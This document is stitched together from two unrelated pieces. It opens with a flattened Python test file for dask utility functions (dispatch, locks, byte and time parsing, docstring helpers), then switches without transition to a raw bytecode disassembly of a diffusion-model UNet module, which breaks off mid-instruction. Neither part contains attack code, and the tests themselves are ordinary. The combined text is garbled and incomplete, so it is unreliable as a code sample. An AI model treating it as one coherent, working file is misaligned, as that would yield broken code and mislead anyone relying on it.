Dispatch() foo.register(int, lambda a: a + 1) foo.register(float, lambda a: a - 1) foo.register(tuple, lambda a: tuple(foo(i) for i in a)) def f(a): """My Docstring""" return a foo.register(object, f) class Bar: pass b = Bar() assert foo(1) == 2 assert foo.dispatch(int)(1) == 2 assert foo(1.0) == 0.0 assert foo(b) == b assert foo((1, 2.0, b)) == (2, 1.0, b) assert foo.__doc__ == f.__doc__ def test_dispatch_kwargs(): foo = Dispatch() foo.register(int, lambda a, b=10: a + b) assert foo(1, b=20) == 21 def test_dispatch_variadic_on_first_argument(): foo = Dispatch() foo.register(int, lambda a, b: a + b) foo.register(float, lambda a, b: a - b) assert foo(1, 2) == 3 assert foo(1.0, 2.0) == -1 def test_dispatch_lazy(): foo = Dispatch() foo.register(int, lambda a: a) import decimal def foo_dec(a): return a + 1 @foo.register_lazy("decimal") def register_decimal(): import decimal foo.register(decimal.Decimal, foo_dec) assert foo.dispatch(decimal.Decimal) == foo_dec assert foo(decimal.Decimal(1)) == decimal.Decimal(2) assert foo(1) == 1 def test_dispatch_lazy_walks_mro(): """Check that subclasses of classes with lazily registered handlers still use their parent class's handler by default""" import decimal class Lazy(decimal.Decimal): pass class Eager(Lazy): pass foo = Dispatch() @foo.register(Eager) def eager_handler(x): return "eager" def lazy_handler(a): return "lazy" @foo.register_lazy("decimal") def register_decimal(): foo.register(decimal.Decimal, lazy_handler) assert foo.dispatch(Lazy) == lazy_handler assert foo(Lazy(1)) == "lazy" assert foo.dispatch(decimal.Decimal) == lazy_handler assert foo(decimal.Decimal(1)) == "lazy" assert foo.dispatch(Eager) == eager_handler assert foo(Eager(1)) == "eager" def test_random_state_data(): np = pytest.importorskip("numpy") seed = 37 state = np.random.RandomState(seed) n = 10000 states = random_state_data(n, seed) assert len(states) == n states2 = random_state_data(n, state) for s1, s2 in zip(states, states2): assert s1.shape == (624,) assert (s1 == s2).all() states = random_state_data(10, 1234) states2 = random_state_data(20, 1234)[:10] for s1, s2 in zip(states, states2): assert (s1 == s2).all() def test_memory_repr(): for power, mem_repr in enumerate(["1.0 bytes", "1.0 KB", "1.0 MB", "1.0 GB"]): assert memory_repr(1024**power) == mem_repr def test_method_caller(): a = [1, 2, 3, 3, 3] f = methodcaller("count") assert f(a, 3) == a.count(3) assert methodcaller("count") is f assert M.count is f assert pickle.loads(pickle.dumps(f)) is f assert "count" in dir(M) assert "count" in str(methodcaller("count")) assert "count" in repr(methodcaller("count")) def test_skip_doctest(): example = """>>> xxx >>> >>> # comment >>> xxx""" res = skip_doctest(example) assert ( res == """>>> xxx # doctest: +SKIP >>> >>> # comment >>> xxx # doctest: +SKIP""" ) assert skip_doctest(None) == "" example = """ >>> 1 + 2 # doctest: +ELLIPSES 3""" expected = """ >>> 1 + 2 # doctest: +ELLIPSES, +SKIP 3""" res = skip_doctest(example) assert res == expected def test_extra_titles(): example = """ Notes ----- hello Foo --- Notes ----- bar """ expected = """ Notes ----- hello Foo --- Extra Notes ----------- bar """ assert extra_titles(example) == expected def test_asciitable(): res = asciitable( ["fruit", "color"], [("apple", "red"), ("banana", "yellow"), ("tomato", "red"), ("pear", "green")], ) assert res == ( "+--------+--------+\n" "| fruit | color |\n" "+--------+--------+\n" "| apple | red |\n" "| banana | yellow |\n" "| tomato | red |\n" "| pear | green |\n" "+--------+--------+" ) def test_SerializableLock(): a = SerializableLock() b = SerializableLock() with a: pass with a: with b: pass with a: assert not a.acquire(False) a2 = pickle.loads(pickle.dumps(a)) a3 = pickle.loads(pickle.dumps(a)) a4 = pickle.loads(pickle.dumps(a2)) for x in [a, a2, a3, a4]: for y in [a, a2, a3, a4]: with x: assert not y.acquire(False) b2 = pickle.loads(pickle.dumps(b)) b3 = pickle.loads(pickle.dumps(b2)) for x in [a, a2, a3, a4]: for y in [b, b2, b3]: with x: with y: pass with y: with x: pass def test_SerializableLock_name_collision(): a = SerializableLock("a") b = SerializableLock("b") c = SerializableLock("a") d = SerializableLock() assert a.lock is not b.lock assert a.lock is c.lock assert d.lock not in (a.lock, b.lock, c.lock) def test_SerializableLock_locked(): a = SerializableLock("a") assert not a.locked() with a: assert a.locked() assert not a.locked() def test_SerializableLock_acquire_blocking(): a = SerializableLock("a") assert a.acquire(blocking=True) assert not a.acquire(blocking=False) a.release() def test_funcname(): def foo(a, b, c): pass assert funcname(foo) == "foo" assert funcname(functools.partial(foo, a=1)) == "foo" assert funcname(M.sum) == "sum" assert funcname(lambda: 1) == "lambda" class Foo: pass assert funcname(Foo) == "Foo" assert "Foo" in funcname(Foo()) def test_funcname_long(): def a_long_function_name_11111111111111111111111111111111111111111111111(): pass result = funcname( a_long_function_name_11111111111111111111111111111111111111111111111 ) assert "a_long_function_name" in result assert len(result) < 60 def test_funcname_toolz(): @curry def foo(a, b, c): pass assert funcname(foo) == "foo" assert funcname(foo(1)) == "foo" def test_funcname_multipledispatch(): md = pytest.importorskip("multipledispatch") @md.dispatch(int, int, int) def foo(a, b, c): pass assert funcname(foo) == "foo" assert funcname(functools.partial(foo, a=1)) == "foo" def test_funcname_numpy_vectorize(): np = pytest.importorskip("numpy") vfunc = np.vectorize(int) assert funcname(vfunc) == "vectorize_int" func = functools.partial(np.add, out=None) vfunc = np.vectorize(func) assert funcname(vfunc) == "vectorize_add" def test_ndeepmap(): L = 1 assert ndeepmap(0, inc, L) == 2 L = [1] assert ndeepmap(0, inc, L) == 2 L = [1, 2, 3] assert ndeepmap(1, inc, L) == [2, 3, 4] L = [[1, 2], [3, 4]] assert ndeepmap(2, inc, L) == [[2, 3], [4, 5]] L = [[[1, 2], [3, 4, 5]], [[6], []]] assert ndeepmap(3, inc, L) == [[[2, 3], [4, 5, 6]], [[7], []]] def test_ensure_dict(): d = {"x": 1} assert ensure_dict(d) is d class mydict(dict): pass d2 = ensure_dict(d, copy=True) d3 = ensure_dict(HighLevelGraph.from_collections("x", d)) d4 = ensure_dict(mydict(d)) for di in (d2, d3, d4): assert type(di) is dict assert di is not d assert di == d def test_ensure_set(): s = {1} assert ensure_set(s) is s class myset(set): pass s2 = ensure_set(s, copy=True) s3 = ensure_set(myset(s)) for si in (s2, s3): assert type(si) is set assert si is not s assert si == s def test_itemgetter(): data = [1, 2, 3] g = itemgetter(1) assert g(data) == 2 g2 = pickle.loads(pickle.dumps(g)) assert g2(data) == 2 assert g2.index == 1 assert itemgetter(1) == itemgetter(1) assert itemgetter(1) != itemgetter(2) assert itemgetter(1) != 123 def test_partial_by_order(): assert partial_by_order(5, function=operator.add, other=[(1, 20)]) == 25 def test_has_keyword(): def foo(a, b, c=None): pass assert has_keyword(foo, "a") assert has_keyword(foo, "b") assert has_keyword(foo, "c") bar = functools.partial(foo, a=1) assert has_keyword(bar, "b") assert has_keyword(bar, "c") def test_derived_from(): class Foo: def f(a, b): """A super docstring An explanation Parameters ---------- a: int an explanation of a b: float an explanation of b """ class Bar: @derived_from(Foo) def f(a, c): pass class Zap: @derived_from(Foo) def f(a, c): "extra docstring" pass assert Bar.f.__doc__.strip().startswith("A super docstring") assert "Foo.f" in Bar.f.__doc__ assert any("inconsistencies" in line for line in Bar.f.__doc__.split("\n")[:7]) [b_arg] = [line for line in Bar.f.__doc__.split("\n") if "b:" in line] assert "not supported" in b_arg.lower() assert "dask" in b_arg.lower() assert " extra docstring\n\n" in Zap.f.__doc__ @pytest.mark.parametrize( "decorator", [property, functools.cached_property], ids=["@property", "@cached_property"], ) def test_derived_from_prop_cached_prop(decorator): class Base: @decorator def prop(self): """A property Long details""" return 1 class Derived: @decorator @derived_from(Base) def prop(self): "Some extra doc" return 3 docstring = Derived.prop.__doc__ assert docstring is not None assert docstring.strip().startswith("A property") assert any("inconsistencies" in line for line in docstring.split("\n")) assert any("Some extra doc" in line for line in docstring.split("\n")) def test_derived_from_func(): import builtins @derived_from(builtins) def sum(): "extra docstring" pass assert "extra docstring\n\n" in sum.__doc__ assert "Return the sum of" in sum.__doc__ assert "This docstring was copied from builtins.sum" in sum.__doc__ def test_derived_from_dask_dataframe(): dd = pytest.importorskip("dask.dataframe") if dd._dask_expr_enabled(): pytest.xfail("we don't have docs yet") assert "inconsistencies" in dd.DataFrame.dropna.__doc__ [axis_arg] = [ line for line in dd.DataFrame.dropna.__doc__.split("\n") if "axis :" in line ] assert "not supported" in axis_arg.lower() assert "dask" in axis_arg.lower() assert "Object with missing values filled" in dd.DataFrame.ffill.__doc__ def test_parse_bytes(): assert parse_bytes("100") == 100 assert parse_bytes("100 MB") == 100000000 assert parse_bytes("100M") == 100000000 assert parse_bytes("5kB") == 5000 assert parse_bytes("5.4 kB") == 5400 assert parse_bytes("1kiB") == 1024 assert parse_bytes("1Mi") == 2**20 assert parse_bytes("1e6") == 1000000 assert parse_bytes("1e6 kB") == 1000000000 assert parse_bytes("MB") == 1000000 assert parse_bytes(123) == 123 assert parse_bytes(".5GB") == 500000000 def test_parse_timedelta(): for text, value in [ ("1s", 1), ("100ms", 0.1), ("5S", 5), ("5.5s", 5.5), ("5.5 s", 5.5), ("1 second", 1), ("3.3 seconds", 3.3), ("3.3 milliseconds", 0.0033), ("3500 us", 0.0035), ("1 ns", 1e-9), ("2m", 120), ("5 days", 5 * 24 * 60 * 60), ("2 w", 2 * 7 * 24 * 60 * 60), ("2 minutes", 120), (None, None), (3, 3), (datetime.timedelta(seconds=2), 2), (datetime.timedelta(milliseconds=100), 0.1), ]: result = parse_timedelta(text) assert result == value or abs(result - value) < 1e-14 assert parse_timedelta("1ms", default="seconds") == 0.001 assert parse_timedelta("1", default="seconds") == 1 assert parse_timedelta("1", default="ms") == 0.001 assert parse_timedelta(1, default="ms") == 0.001 assert parse_timedelta("1ms", default=False) == 0.001 with pytest.raises(ValueError): parse_timedelta(1, default=False) with pytest.raises(ValueError): parse_timedelta("1", default=False) with pytest.raises(TypeError): parse_timedelta("1", default=None) with pytest.raises(KeyError, match="Invalid time unit: foo. Valid units are"): parse_timedelta("1 foo") def test_is_arraylike(): np = pytest.importorskip("numpy") assert is_arraylike(0) is False assert is_arraylike(()) is False assert is_arraylike(0) is False assert is_arraylike([]) is False assert is_arraylike([0]) is False assert is_arraylike(np.empty(())) is True assert is_arraylike(np.empty((0,))) is True assert is_arraylike(np.empty((0, 0))) is True def test_iter_chunks(): sizes = [14, 8, 5, 9, 7, 9, 1, 19, 8, 19] assert list(iter_chunks(sizes, 19)) == [ [14], [8, 5], [9, 7], [9, 1], [19], [8], [19], ] assert list(iter_chunks(sizes, 28)) == [[14, 8, 5], [9, 7, 9, 1], [19, 8], [19]] assert list(iter_chunks(sizes, 67)) == [[14, 8, 5, 9, 7, 9, 1], [19, 8, 19]] def test_stringify(): obj = "Hello" assert stringify(obj) is obj obj = b"Hello" assert stringify(obj) is obj dsk = {"x": 1} assert stringify(dsk) == str(dsk) assert stringify(dsk, exclusive=()) == dsk dsk = {("x", 1): (inc, 1)} assert stringify(dsk) == str({("x", 1): (inc, 1)}) assert stringify(dsk, exclusive=()) == {("x", 1): (inc, 1)} dsk = {("x", 1): (inc, 1), ("x", 2): (inc, ("x", 1))} assert stringify(dsk, exclusive=dsk) == { ("x", 1): (inc, 1), ("x", 2): (inc, str(("x", 1))), } dsks = [ {"x": 1}, {("x", 1): (inc, 1), ("x", 2): (inc, ("x", 1))}, {("x", 1): (sum, [1, 2, 3]), ("x", 2): (sum, [("x", 1), ("x", 1)])}, ] for dsk in dsks: sdsk = {stringify(k): stringify(v, exclusive=dsk) for k, v in dsk.items()} keys = list(dsk) skeys = [str(k) for k in keys] assert all(isinstance(k, str) for k in sdsk) assert get(dsk, keys) == get(sdsk, skeys) dsk = {("y", 1): (SubgraphCallable({"x": ("y", 1)}, "x", (("y", 1),)), (("z", 1),))} dsk = stringify(dsk, exclusive=set(dsk) | {("z", 1)}) assert dsk[("y", 1)][0].dsk["x"] == "('y', 1)" assert dsk[("y", 1)][1][0] == "('z', 1)" def test_stringify_collection_keys(): obj = "Hello" assert stringify_collection_keys(obj) is obj obj = [("a", 0), (b"a", 0), (1, 1)] res = stringify_collection_keys(obj) assert res[0] == str(obj[0]) assert res[1] == str(obj[1]) assert res[2] == obj[2] @pytest.mark.parametrize( "n,expect", [ (0, "0 B"), (920, "920 B"), (930, "0.91 kiB"), (921.23 * 2**10, "921.23 kiB"), (931.23 * 2**10, "0.91 MiB"), (921.23 * 2**20, "921.23 MiB"), (931.23 * 2**20, "0.91 GiB"), (921.23 * 2**30, "921.23 GiB"), (931.23 * 2**30, "0.91 TiB"), (921.23 * 2**40, "921.23 TiB"), (931.23 * 2**40, "0.91 PiB"), (2**60, "1024.00 PiB"), ], ) def test_format_bytes(n, expect): assert format_bytes(int(n)) == expect def test_format_time(): assert format_time(1.4) == "1.40 s" assert format_time(10.4) == "10.40 s" assert format_time(100.4) == "100.40 s" assert format_time(1000.4) == "16m 40s" assert format_time(10000.4) == "2hr 46m" assert format_time(1234.567) == "20m 34s" assert format_time(12345.67) == "3hr 25m" assert format_time(123456.78) == "34hr 17m" assert format_time(1234567.8) == "14d 6hr" def test_deprecated(): @_deprecated() def foo(): return "bar" with pytest.warns(FutureWarning) as record: assert foo() == "bar" assert len(record) == 1 msg = str(record[0].message) assert "foo is deprecated" in msg assert "removed in a future release" in msg def test_deprecated_version(): @_deprecated(version="1.2.3") def foo(): return "bar" with pytest.warns(FutureWarning, match="deprecated in version 1.2.3"): assert foo() == "bar" def test_deprecated_after_version(): @_deprecated(after_version="1.2.3") def foo(): return "bar" with pytest.warns(FutureWarning, match="deprecated after version 1.2.3"): assert foo() == "bar" def test_deprecated_category(): @_deprecated(category=DeprecationWarning) def foo(): return "bar" with pytest.warns(DeprecationWarning): assert foo() == "bar" def test_deprecated_message(): @_deprecated(message="woohoo") def foo(): return "bar" with pytest.warns(FutureWarning) as record: assert foo() == "bar" assert len(record) == 1 assert str(record[0].message) == "woohoo" def test_typename(): assert typename(HighLevelGraph) == "dask.highlevelgraph.HighLevelGraph" assert typename(HighLevelGraph, short=True) == "dask.HighLevelGraph" class MyType: pass def test_typename_on_instances(): instance = MyType() assert typename(instance) == typename(MyType) def test_cached_cumsum(): a = (1, 2, 3, 4) x = cached_cumsum(a) y = cached_cumsum(a, initial_zero=True) assert x == (1, 3, 6, 10) assert y == (0, 1, 3, 6, 10) def test_cached_cumsum_nan(): np = pytest.importorskip("numpy") a = (1, np.nan, 3) x = cached_cumsum(a) y = cached_cumsum(a, initial_zero=True) np.testing.assert_equal(x, (1, np.nan, np.nan)) np.testing.assert_equal(y, (0, 1, np.nan, np.nan)) def test_cached_cumsum_non_tuple(): a = [1, 2, 3] assert cached_cumsum(a) == (1, 3, 6) a[1] = 4 assert cached_cumsum(a) == (1, 5, 8) def test_tmpfile_naming(): with tmpfile() as fn: assert fn[-1] != "." with tmpfile(extension="jpg") as fn: assert fn[-4:] == ".jpg" with tmpfile(extension=".jpg") as fn: assert fn[-4:] == ".jpg" assert fn[-5] != "." def test_get_meta_library(): np = pytest.importorskip("numpy") pd = pytest.importorskip("pandas") da = pytest.importorskip("dask.array") dd = pytest.importorskip("dask.dataframe") assert get_meta_library(pd.DataFrame()) == pd assert get_meta_library(np.array([])) == np assert get_meta_library(pd.DataFrame()) == get_meta_library(pd.DataFrame) assert get_meta_library(np.ndarray([])) == get_meta_library(np.ndarray) assert get_meta_library(pd.DataFrame()) == get_meta_library( dd.from_dict({}, npartitions=1) ) assert get_meta_library(np.ndarray([])) == get_meta_library(da.from_array([])) def test_get_meta_library_gpu(): cp = pytest.importorskip("cupy") cudf = pytest.importorskip("cudf") da = pytest.importorskip("dask.array") dd = pytest.importorskip("dask.dataframe") assert get_meta_library(cudf.DataFrame()) == cudf assert get_meta_library(cp.array([])) == cp assert get_meta_library(cudf.DataFrame()) == get_meta_library(cudf.DataFrame) assert get_meta_library(cp.ndarray([])) == get_meta_library(cp.ndarray) assert get_meta_library(cudf.DataFrame()) == get_meta_library( dd.from_dict({}, npartitions=1).to_backend("cudf") ) assert get_meta_library(cp.ndarray([])) == get_meta_library( da.from_array([]).to_backend("cupy") )
data/dask-2024.2.0/dask/tests/test_utils.py
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8,996
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME math STORE_NAME math LOAD_CONST 0 LOAD_CONST ('abstractmethod',) IMPORT_NAME abc IMPORT_FROM abstractmethod STORE_NAME abstractmethod POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST None IMPORT_NAME torch STORE_NAME th LOAD_CONST 0 LOAD_CONST None IMPORT_NAME torch.nn IMPORT_FROM nn STORE_NAME nn POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME torch.nn.functional IMPORT_FROM nn ROT_TWO POP_TOP IMPORT_FROM functional STORE_NAME F POP_TOP LOAD_CONST 4 LOAD_CONST ('SpatialTransformer',) IMPORT_NAME ldm.modules.attention IMPORT_FROM SpatialTransformer STORE_NAME SpatialTransformer POP_TOP LOAD_CONST 4 LOAD_CONST ('avg_pool_nd', 'checkpoint', 'conv_nd', 'linear', 'normalization', 'timestep_embedding', 'zero_module') IMPORT_NAME ldm.modules.diffusionmodules.util IMPORT_FROM avg_pool_nd STORE_NAME avg_pool_nd IMPORT_FROM checkpoint STORE_NAME checkpoint IMPORT_FROM conv_nd STORE_NAME conv_nd IMPORT_FROM linear STORE_NAME linear IMPORT_FROM normalization STORE_NAME normalization IMPORT_FROM timestep_embedding STORE_NAME timestep_embedding IMPORT_FROM zero_module STORE_NAME zero_module POP_TOP LOAD_CONST 4 LOAD_CONST ('exists',) IMPORT_NAME ldm.util IMPORT_FROM exists STORE_NAME exists POP_TOP LOAD_CONST <code object convert_module_to_f16 at 0x7fab423bd300, file "f.py", line 22> LOAD_CONST 'convert_module_to_f16' MAKE_FUNCTION STORE_NAME convert_module_to_f16 LOAD_CONST <code object convert_module_to_f32 at 0x7fab423bdd20, file "f.py", line 26> LOAD_CONST 'convert_module_to_f32' MAKE_FUNCTION STORE_NAME convert_module_to_f32 LOAD_BUILD_CLASS LOAD_CONST <code object AttentionPool2d at 0x7fab423bd5d0, file "f.py", line 30> LOAD_CONST 'AttentionPool2d' MAKE_FUNCTION LOAD_CONST 'AttentionPool2d' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME AttentionPool2d LOAD_BUILD_CLASS LOAD_CONST <code object TimestepBlock at 0x7fab423bde40, file "f.py", line 62> LOAD_CONST 'TimestepBlock' MAKE_FUNCTION LOAD_CONST 'TimestepBlock' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME TimestepBlock LOAD_BUILD_CLASS LOAD_CONST <code object TimestepEmbedSequential at 0x7fab423bd150, file "f.py", line 74> LOAD_CONST 'TimestepEmbedSequential' MAKE_FUNCTION LOAD_CONST 'TimestepEmbedSequential' LOAD_NAME nn LOAD_ATTR Sequential LOAD_NAME TimestepBlock CALL_FUNCTION STORE_NAME TimestepEmbedSequential LOAD_BUILD_CLASS LOAD_CONST <code object Upsample at 0x7fab5410d5d0, file "f.py", line 91> LOAD_CONST 'Upsample' MAKE_FUNCTION LOAD_CONST 'Upsample' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME Upsample LOAD_BUILD_CLASS LOAD_CONST <code object TransposedUpsample at 0x7fab5410dae0, file "f.py", line 124> LOAD_CONST 'TransposedUpsample' MAKE_FUNCTION LOAD_CONST 'TransposedUpsample' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME TransposedUpsample LOAD_BUILD_CLASS LOAD_CONST <code object Downsample at 0x7fab5410db70, file "f.py", line 140> LOAD_CONST 'Downsample' MAKE_FUNCTION LOAD_CONST 'Downsample' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME Downsample LOAD_BUILD_CLASS LOAD_CONST <code object ResBlock at 0x7fae2f3eb0c0, file "f.py", line 174> LOAD_CONST 'ResBlock' MAKE_FUNCTION LOAD_CONST 'ResBlock' LOAD_NAME TimestepBlock CALL_FUNCTION STORE_NAME ResBlock LOAD_BUILD_CLASS LOAD_CONST <code object AttentionBlock at 0x7fab701b94b0, file "f.py", line 288> LOAD_CONST 'AttentionBlock' MAKE_FUNCTION LOAD_CONST 'AttentionBlock' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME AttentionBlock LOAD_CONST <code object count_flops_attn at 0x7fab701b91e0, file "f.py", line 336> LOAD_CONST 'count_flops_attn' MAKE_FUNCTION STORE_NAME count_flops_attn LOAD_BUILD_CLASS LOAD_CONST <code object QKVAttentionLegacy at 0x7fab41fae420, file "f.py", line 353> LOAD_CONST 'QKVAttentionLegacy' MAKE_FUNCTION LOAD_CONST 'QKVAttentionLegacy' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME QKVAttentionLegacy LOAD_BUILD_CLASS LOAD_CONST <code object QKVAttention at 0x7fab41faee40, file "f.py", line 385> LOAD_CONST 'QKVAttention' MAKE_FUNCTION LOAD_CONST 'QKVAttention' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME QKVAttention LOAD_BUILD_CLASS LOAD_CONST <code object UNetModel at 0x7fab41fae540, file "f.py", line 419> LOAD_CONST 'UNetModel' MAKE_FUNCTION LOAD_CONST 'UNetModel' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME UNetModel LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AttentionPool2d' STORE_NAME __qualname__ LOAD_CONST '\n Adapted from CLIP: https://github.com/openai/CLIP/blob/main/clip/model.py\n ' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_NAME int LOAD_NAME int LOAD_NAME int LOAD_NAME int LOAD_CONST ('spacial_dim', 'embed_dim', 'num_heads_channels', 'output_dim') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab423bdae0, file "f.py", line 35> LOAD_CONST 'AttentionPool2d.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fab423bdc00, file "f.py", line 51> LOAD_CONST 'AttentionPool2d.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_GLOBAL nn LOAD_METHOD Parameter LOAD_GLOBAL th LOAD_METHOD randn LOAD_FAST embed_dim LOAD_FAST spacial_dim LOAD_CONST 2 BINARY_POWER LOAD_CONST 1 BINARY_ADD CALL_METHOD LOAD_FAST embed_dim LOAD_CONST 0.5 BINARY_POWER BINARY_TRUE_DIVIDE CALL_METHOD LOAD_FAST self STORE_ATTR positional_embedding LOAD_GLOBAL conv_nd LOAD_CONST 1 LOAD_FAST embed_dim LOAD_CONST 3 LOAD_FAST embed_dim BINARY_MULTIPLY LOAD_CONST 1 CALL_FUNCTION LOAD_FAST self STORE_ATTR qkv_proj LOAD_GLOBAL conv_nd LOAD_CONST 1 LOAD_FAST embed_dim LOAD_FAST output_dim JUMP_IF_TRUE_OR_POP LOAD_FAST embed_dim LOAD_CONST 1 CALL_FUNCTION LOAD_FAST self STORE_ATTR c_proj LOAD_FAST embed_dim LOAD_FAST num_heads_channels BINARY_FLOOR_DIVIDE LOAD_FAST self STORE_ATTR num_heads LOAD_GLOBAL QKVAttention LOAD_FAST self LOAD_ATTR num_heads CALL_FUNCTION LOAD_FAST self STORE_ATTR attention LOAD_CONST None RETURN_VALUE LOAD_FAST x LOAD_ATTR shape UNPACK_EX STORE_FAST b STORE_FAST c STORE_FAST _spatial LOAD_FAST x LOAD_METHOD reshape LOAD_FAST b LOAD_FAST c LOAD_CONST -1 CALL_METHOD STORE_FAST x LOAD_GLOBAL th LOAD_ATTR cat LOAD_FAST x LOAD_ATTR mean LOAD_CONST -1 LOAD_CONST True LOAD_CONST ('dim', 'keepdim') CALL_FUNCTION LOAD_FAST x BUILD_LIST LOAD_CONST -1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST x LOAD_FAST x LOAD_FAST self LOAD_ATTR positional_embedding LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD to LOAD_FAST x LOAD_ATTR dtype CALL_METHOD BINARY_ADD STORE_FAST x LOAD_FAST self LOAD_METHOD qkv_proj LOAD_FAST x CALL_METHOD STORE_FAST x LOAD_FAST self LOAD_METHOD attention LOAD_FAST x CALL_METHOD STORE_FAST x LOAD_FAST self LOAD_METHOD c_proj LOAD_FAST x CALL_METHOD STORE_FAST x LOAD_FAST x LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 0 BUILD_TUPLE BINARY_SUBSCR RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TimestepBlock' STORE_NAME __qualname__ LOAD_CONST '\n Any module where forward() takes timestep embeddings as a second argument.\n ' STORE_NAME __doc__ LOAD_NAME abstractmethod LOAD_CONST <code object forward at 0x7fab423bddb0, file "f.py", line 67> LOAD_CONST 'TimestepBlock.forward' MAKE_FUNCTION CALL_FUNCTION STORE_NAME forward LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TimestepEmbedSequential' STORE_NAME __qualname__ LOAD_CONST '\n A sequential module that passes timestep embeddings to the children that\n support it as an extra input.\n ' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_CONST <code object forward at 0x7fab423bdb70, file "f.py", line 80> LOAD_CONST 'TimestepEmbedSequential.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CONST None RETURN_VALUE SETUP_LOOP to 66 LOAD_FAST self GET_ITER FOR_ITER to 64 STORE_FAST layer LOAD_GLOBAL isinstance LOAD_FAST layer LOAD_GLOBAL TimestepBlock CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST layer LOAD_FAST x LOAD_FAST emb CALL_FUNCTION STORE_FAST x JUMP_ABSOLUTE LOAD_GLOBAL isinstance LOAD_FAST layer LOAD_GLOBAL SpatialTransformer CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST layer LOAD_FAST x LOAD_FAST context CALL_FUNCTION STORE_FAST x JUMP_ABSOLUTE LOAD_FAST layer LOAD_FAST x CALL_FUNCTION STORE_FAST x JUMP_ABSOLUTE POP_BLOCK LOAD_FAST x RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Upsample' STORE_NAME __qualname__ LOAD_CONST '\n An upsampling layer with an optional convolution.\n :param channels: channels in the inputs and outputs.\n :param use_conv: a bool determining if a convolution is applied.\n :param dims: determines if the signal is 1D, 2D, or 3D. If 3D, then\n upsampling occurs in the inner-two dimensions.\n ' STORE_NAME __doc__ LOAD_CONST (2, None, 1) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab5410d300, file "f.py", line 100> LOAD_CONST 'Upsample.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fab5410d810, file "f.py", line 111> LOAD_CONST 'Upsample.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST channels LOAD_FAST self STORE_ATTR channels LOAD_FAST out_channels JUMP_IF_TRUE_OR_POP LOAD_FAST channels LOAD_FAST self STORE_ATTR out_channels LOAD_FAST use_conv LOAD_FAST self STORE_ATTR use_conv LOAD_FAST dims LOAD_FAST self STORE_ATTR dims LOAD_FAST use_conv POP_JUMP_IF_FALSE LOAD_GLOBAL conv_nd LOAD_FAST dims LOAD_FAST self LOAD_ATTR channels LOAD_FAST self LOAD_ATTR out_channels LOAD_CONST 3 LOAD_FAST padding LOAD_CONST ('padding',) CALL_FUNCTION LOAD_FAST self STORE_ATTR conv LOAD_CONST None RETURN_VALUE LOAD_FAST x LOAD_ATTR shape LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST self LOAD_ATTR channels COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR dims LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL F LOAD_ATTR interpolate LOAD_FAST x LOAD_FAST x LOAD_ATTR shape LOAD_CONST 2 BINARY_SUBSCR LOAD_FAST x LOAD_ATTR shape LOAD_CONST 3 BINARY_SUBSCR LOAD_CONST 2 BINARY_MULTIPLY LOAD_FAST x LOAD_ATTR shape LOAD_CONST 4 BINARY_SUBSCR LOAD_CONST 2 BINARY_MULTIPLY BUILD_TUPLE LOAD_CONST 'nearest' LOAD_CONST ('mode',) CALL_FUNCTION STORE_FAST x JUMP_FORWARD to 96 LOAD_GLOBAL F LOAD_ATTR interpolate LOAD_FAST x LOAD_CONST 2 LOAD_CONST 'nearest' LOAD_CONST ('scale_factor', 'mode') CALL_FUNCTION STORE_FAST x LOAD_FAST self LOAD_ATTR use_conv POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD conv LOAD_FAST x CALL_METHOD STORE_FAST x LOAD_FAST x RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TransposedUpsample' STORE_NAME __qualname__ LOAD_CONST 'Learned 2x upsampling without padding' STORE_NAME 